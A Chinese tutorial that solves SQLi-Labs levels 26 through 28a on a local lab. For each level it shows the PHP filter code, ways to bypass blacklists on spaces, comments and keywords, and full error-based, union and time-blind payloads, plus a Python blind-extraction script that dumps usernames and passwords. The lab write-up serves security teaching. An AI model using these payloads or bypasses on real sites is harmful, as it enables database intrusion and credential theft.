SQL-Labs靶场“26-28”关通关教程

君衍.

  • 一、二十六关 基于GET过滤空格以及注释报错注入
    • 1、源码分析
    • 2、绕过思路
    • 3、updatexml报错注入
  • 二、二十六a关 基于GET过滤空格注释字符型注入
    • 1、源码分析
    • 2、绕过思路
    • 3、时间盲注
  • 三、二十七关 基于union及select的过滤单引号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、updatexml报错注入
  • 四、二十七a关 基于union及select的过滤双引号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注
  • 五、二十八关 基于union及select单引号括号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注
  • 五、二十八a关 基于二十八关的过滤减少
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注

一、二十六关 基于GET过滤空格以及注释报错注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

刚打开的界面:
在这里插入图片描述
我们可以看到它说所有的空格以及注释好像让过滤掉了,这里我们首先进行验证:

1、令id为1观察回显

在这里插入图片描述

2、令id为1后面加上单引号观察是否会报错

在这里插入图片描述
我们这里可以看到有报错,所以我们之后可以进行尝试使用报错注入。

3、测试使用联合查询观察过滤后的语句

在这里插入图片描述
我们这里即可看到它将注释符以及空格进行了过滤从而引发报错,下面我们当然是想办法绕过,所以我们先查看源码。

1、源码分析

include("../sql-connections/sqli-connect.php");
// take the variables 
if(isset($_GET['id']))
{$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//fiddling with comments$id= blacklist($id);//echo "<br>";//echo $id;//echo "<br>";$hint=$id;
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		//Strip out --$id= preg_replace('/[#]/',"", $id);			//Strip out #$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashesreturn $id;
}

首先先解读源码,第一步获取了变量id值,然后执行了blacklist函数进行了过滤,之后进入SQL语句中进行查询,如果可以查到,输出查询到的信息,所以这里我们使用联合查询其实也是可以的。如果没有查询到,那么输出报错信息。也就是报错注入也可以进行尝试。

这里我们也来看下具体的过滤情况:

# 过滤了or以及and的大小写
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 过滤了--以及#注释符
$id= preg_replace('/[--]/',"", $id);		//Strip out --
$id= preg_replace('/[#]/',"", $id);			//Strip out #
# 过滤了空格
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

在这里插入图片描述

2、绕过思路

这里过滤了以下几个字符:

1、or以及and的大小写

我们可以考虑以下几种绕过方式:

and = &&
or = ||
# 异或
xor = |
not = !

使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:

or=oorr
and=anandd

2、过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

3、过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、updatexml报错注入

1、爆出数据库名

payload:

?id=1'aandnd(updatexml(1,concat(0x7e,database(),0x7e),1));%00

在这里插入图片描述

2、爆出数据库中的所有表

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1));%00

在这里插入图片描述

3、爆出users表中所有列名

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))),0x7e),1));%00

在这里插入图片描述

4、查询数据

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)),0x7e),1));%00

在这里插入图片描述
观察字符限制使用limit或者substr函数进行截取即可。

二、二十六a关 基于GET过滤空格注释字符型注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关同26关的注入点判断基本一致,唯独这里可以发现的不同便是没有了报错,首先我们使用id为1进行测试:
在这里插入图片描述
然后在1后面加上单引号:
在这里插入图片描述
由这里我们即可判断出报错注入显然是不能使用了,同时我们在使用参数为1测试中发现是进行了查询信息的回显的,所以这里我们可以试着使用联合查询进行注入。同时,盲注我们还需知道闭合方式来进行判断是否可以绕过得到不同的界面。

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}

这里与26关不同的地方便是闭合方式以及注释掉了报错信息显示,所以这里我们是无法使用报错注入的。同时过滤函数同26关相同。
在这里插入图片描述

2、绕过思路

这里过滤了以下几个字符:

1、or以及and的大小写

我们可以考虑以下几种绕过方式:

and = &&
or = ||
# 异或
xor = |
not = !

使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:

or=oorr
and=anandd

2、过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

3、过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、时间盲注

这里我们使用时间盲注进行注入,比如说这里我们首先测试数据库名的第一个字符的ascii值是否大于100,那么我们构造payload:

?id=1')anandd(if(ascii(left(database(),1))>100,sleep(3),0));%00

在这里插入图片描述
我们可以看到回显需要3秒以上,所以我们我们可以使用盲注的方式进行注入,我们编写成python来完成我们的盲注:

import requests
import timedef inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1')aandnd(if(ascii(substr(database(),%d,1))>%d, sleep(1), 0))aandnd('1')=('1" % (i, mid)params = {"id": payload}start_time = time.time()r = requests.get(url, params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli7/Less-26a/index.php'inject_database(url)

在这里插入图片描述
可以看到非常的方便,下面我们便是更改payload继续进行时间盲注。

三、二十七关 基于union及select的过滤单引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(‘$id’)

在这里插入图片描述
从主页面我们可以看到它说明将我们的union以及select进行了过滤,但是我们依旧是按照常规的注入思路进行注入点判断注入:

1、使用id为1进行查询,观察回显

在这里插入图片描述
这里我们可以看到回显了查询到的内容,所以我们之后可以进行尝试联合查询注入,先不说它将union以及select进行了过滤。

2、使用id为1后面加上单引号查看是否有回显

在这里插入图片描述
我们可以看到这里是进行了报错的,所以我们即使不使用union以及select进行查询也是可以尝试使用报错注入进行注入的。

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{print_r(mysqli_error($con1));
}function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

这里我们可以看到和26关相似,只是过滤的内容变了,所以我们现在进行分析:

function blacklist($id)
{
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 过滤了-
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
# 过滤了#
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 过滤了select /m严格模式不能进行双写绕过
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 过滤了union以及其大写
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

2、绕过思路

union以及select没有忽略大小写,所以依旧可以进行绕过:

# 大小写混写
unioN
unIon
seLect
...# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=9999'%0aorder%0aby%0a4;%00

在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999'%0auNion%0asElect%0a1,database(),version();%00

在这里插入图片描述
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999'uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999'uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999'uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、updatexml报错注入

1、爆出数据库名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,database(),0x7e),1);%00

在这里插入图片描述

2、爆出数据库中的表

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1);%00

在这里插入图片描述

3、爆出数据库中可疑表users的列名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'),0x7e),1);%00

在这里插入图片描述

4、爆出数据

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0aconcat(username,0x3a,password)from%0ausers%0alimit%0a0,1),0x7e),1);%00

在这里插入图片描述
自此,27关注入即可完成。

四、二十七a关 基于union及select的过滤双引号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=“$id”

本关和27关注入点判断基本一致,但是在使用1双引号传入参后,会发现没有了报错:
在这里插入图片描述
在这里插入图片描述
所以这里注入点这里没有了,我们也就不能使用报错注入,但是依旧可以看到查询到的结果是进行了回显的,所以我们之后可以进行尝试使用联合查询注入。

1、源码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}
···# 与27关一致

这里我们可以看到它将报错信息显示进行了注释,同时闭合方式采用了双引号进行闭合,剩下的过滤函数与27关一致。
在这里插入图片描述

2、绕过思路

union以及select没有忽略大小写,所以依旧可以进行绕过:

# 大小写混写
unioN
unIon
seLect
...# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=1"%0aorder%0aby%0a3;%00
?id=1"%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999"%0auNion%0asElect%0a1,database(),version();%00

在这里插入图片描述
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999"uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999"uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999"uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1"%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a"1"="1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1"%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a"1"="1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

五、二十八关 基于union及select单引号括号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关依旧和二十七关类似,使用1以及1单引号来进行请求查看回显:
在这里插入图片描述
在这里插入图片描述
我们依旧可以看到输出了查询到的信息,但是并没有输出报错信息,所以本关和27a类似,可以使用联合查询以及盲注的方式注入。

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else 
{//print_r(mysqli_error($con1));
}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

本关采用单引号括号进行闭合,同时注释了报错信息,输出了查询到的信息,同时过滤了一些字符。与27a关不同的便在于闭合方式以及过滤的内容。
在这里插入图片描述

2、绕过思路

首先我们来看本关的过滤内容:

# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
# 过滤了-以及#注释符
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。

# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在这里插入图片描述

这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

五、二十八a关 基于二十八关的过滤减少

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关只是比28关少了几个过滤,剩下全部一样,所以注入点判断依旧是一样的,使用1以及1单引号进行测试:
在这里插入图片描述
在这里插入图片描述
这里我们依旧可以看到回显查询到的信息,不回显报错信息。

1、源码分析

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

**剩余代码与28关都一样。。。**同时将这些过滤注释掉了,所以本关就是······难评。
在这里插入图片描述

2、绕过思路

# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。

# 嵌套双写
uunionnion
sselectelect
ununionion
...

3、联合查询注入

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在这里插入图片描述

这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2810350.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Java设计模式 | 七大原则之依赖倒转原则

依赖倒转原则&#xff08;Dependence Inversion Principle&#xff09; 基本介绍 高层模块不应该依赖低层模块&#xff0c;二者都应该依赖其抽象&#xff08;接口/抽象类&#xff09;抽象不应该依赖细节&#xff0c;细节应该依赖抽象依赖倒转&#xff08;倒置&#xff09;的…

ZYNQ Vivado更新硬件后SDK不更新问题解决办法

一、情况说明 软件版本 Vivado 2018.3 Vivado更新硬件导出后&#xff0c;按正常SDK会自动检测到hdf文件的变化跳出更新提示&#xff08;如下图所示&#xff09;。但是我的项目如果是复制的或者是长时间没打开的项目更新硬件配置导出后SDK无法自动更新。 二、解决办法 2.1 …

苏宁商品详情大揭秘:一键解锁API接口,电商数据尽在掌握

苏宁商品详情API接口技术深度探索 一、引言 在电商领域&#xff0c;获取商品详情是许多业务场景的基础需求。苏宁商品详情API接口为此提供了便捷的途径。本文将带你深入了解苏宁商品详情API接口的技术细节&#xff0c;帮助你更好地利用这一接口&#xff0c;提升业务效率。 二…

刷题日记 | 字符串扩容和增强型for循环

for(char c:s)遍历字符串 增强型for循环 C for(char c:s)遍历字符串 增强型for循环_c for (char c : s)-CSDN博客 字符串使用前要进行扩容 reserve函数 【CString类成员函数辨析】resize(),size(),capacity(),reserve()函数的解析与对比_c reserve函数-CSDN博客 a.size() 用来…

【已解决】解决Win11忘记开机密码(不用重装系统)

问题起因 因为在实验室的电脑从过年就没有用过&#xff0c;也不知道为什么记性这么差&#xff0c;就把电脑密码忘了&#xff0c;但是又不想用系统盘重装电脑。于是从网上整理一些文章&#xff0c;最后写了下面一篇解决方法 解决方法 1.首先在登录界面&#xff08;输入密码那…

leetcode:46.全排列

1.什么是排列&#xff1f; 有顺序&#xff01;&#xff01; 2.树形结构&#xff1a; 使用used数组进行标记取过的元素&#xff0c;一个元素一个元素地进行取值&#xff0c;取完之后将used数组进行标记。 3.代码实现&#xff1a;&#xff08;循环从i0开始&#xff0c;而不是…

转本考前如何调整心态

不少同学还在过年的氛围中还没走出来。 担忧自己成绩不进反退&#xff0c;又不知道该如何调整心态&#xff01;这个时候小编就有几点小建议给到各位考生。 *心态*情绪 良好的考试心态是没有固定的心态&#xff0c;对不同学习情况的学生来说&#xff0c;良好的考试心态是不一…

如何优化一个看似正常的数据库

通常DBA是不会太了解业务逻辑的&#xff0c;遇到系统中劣质的sql 一般也是以通过添加索引的方式来优化&#xff0c;但是并不是所有的sql都能通过添加索引来优化 这就需要重sql的本身来做分析&#xff0c;另外还要了解什么样的语句会不走索引&#xff01;本文通过几个简单的例子…

国创证券:60分钟底背离什么意思?

60分钟底违背指的是当股价60分钟k线图中股票走势一峰比一峰低&#xff0c;而macd技术目标图形上的由红柱构成的图形走势是一峰比一峰高。即股价成跌落趋势时&#xff0c;技术目标呈上升利好&#xff0c;表示跌落动能削弱&#xff0c;股价或许迎来回转。 K线是由一段时间内的开…

4.4 MySQL存储

目录 1、使用前提 2、使用连接数据库最初步骤 2.1 最初步骤 2.2 connect()方法中参数简单传递 3、创建数据库(创建架构)和创建表 3.1 创建数据库(创建架构) 3.2 创建表 3.2.1 基本创建 3.2.2 创建自增主键 4、Pycharm 可视化连接 MySQL 图形界面 5、插入、更新、查询…

*ctf 2019 oob

diff文件如下 diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc index b027d36..ef1002f 100644 --- a/src/bootstrapper.ccb/src/bootstrapper.cc-1668,6 1668,8 void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,Builtins::kArrayProto…

信号完整性分析基本概念

“设计师可以分成两类&#xff0c;一类已经遇到了信号完整性问题&#xff0c;另一类即将遇到信号完不整性问题” 随着时钟频率的提高&#xff0c;发现并解决信号完整性问题成为产品开发的关键。因此需要精通信号完整性分析技术&#xff0c;并能采取高效设计过程以消除这些问题…

SD-WAN案例:总部(MPLS)与分支(普通宽带)的互联互通

某制造业企业面临着总部采用MPLS专线而分支机构使用普通宽带的网络互联挑战。这种情况下&#xff0c;如何降低网络成本&#xff0c;提高网络效率成为当前亟需解决的问题。本文将介绍该企业如何通过部署SD-WAN实现互联互通。 网络痛点及需求分析&#xff1a; 该企业主要痛点包括…

【Vue3】插槽使用和animate使用

插槽使用 插槽slot匿名插槽具名插槽插槽作用域简写 动态插槽transition动画组件自定义过渡class类名如何使用animate动画库组件动画生命周期appear transition- group过渡列表 插槽slot 插槽就是子组件中提供给父组件使用的一个占位符父组件可以在这个占位符智能填充任何模板代…

数字化转型导师坚鹏:省级政府数字化转型案例研究

省级政府数字化转型案例研究 课程背景&#xff1a; 很多省级政府存在以下问题&#xff1a; 不清楚省级政府数字化转型的政务服务类成功案例 不清楚省级政府数字化转型的社会管理类成功案例 不清楚省级政府数字化转型的数字机关类成功案例 不清楚省级政府数字化转型的…

【MATLAB源码-第148期】基于matlab的BP神经网络2/4ASK,2/4FSK,2/4PSK信号识别仿真。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 1. 调制技术基础 调制技术是通信技术中的基础&#xff0c;它允许数据通过无线电波或其他形式的信号进行传输。调制可以根据信号的振幅、频率或相位的变化来进行&#xff0c;分别对应于ASK、FSK和PSK。 1.1 2ASK与4ASK 振幅…

LeetCode 0235.二叉搜索树的最近公共祖先:用搜索树性质(不遍历全部节点)

【LetMeFly】235.二叉搜索树的最近公共祖先&#xff1a;用搜索树性质&#xff08;不遍历全部节点&#xff09; 力扣题目链接&#xff1a;https://leetcode.cn/problems/lowest-common-ancestor-of-a-binary-search-tree/ 给定一个二叉搜索树, 找到该树中两个指定节点的最近公…

代码随想录算法刷题训练营day23

代码随想录算法刷题训练营day23&#xff1a;LeetCode(669)修剪二叉搜索树、LeetCode(108)将有序数组转换为二叉搜索树、LeetCode(538)把二叉树转化为累加树 LeetCode(669)修剪二叉搜索树 题目 代码 /*** Definition for a binary tree node.* public class TreeNode {* …

装配行业如何通过MES系统实现生产管理数字化

一、装配行业生产现状&#xff1a; 装配行业作为我国基础制造产业之一&#xff0c;在工厂数字化改造的大潮下&#xff0c;运用数字化手段提高企业的生产效率、产品良率&#xff0c;进一步塑造企业的核心竞争力&#xff0c;已成为大势所趋。 我国目前的装配企业&#xff0c;生…

项目实战:Qt监测操作系统cpu温度v1.1.0(支持windows、linux、国产麒麟系统)

若该文为原创文章&#xff0c;转载请注明出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/136277231 红胖子(红模仿)的博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬结…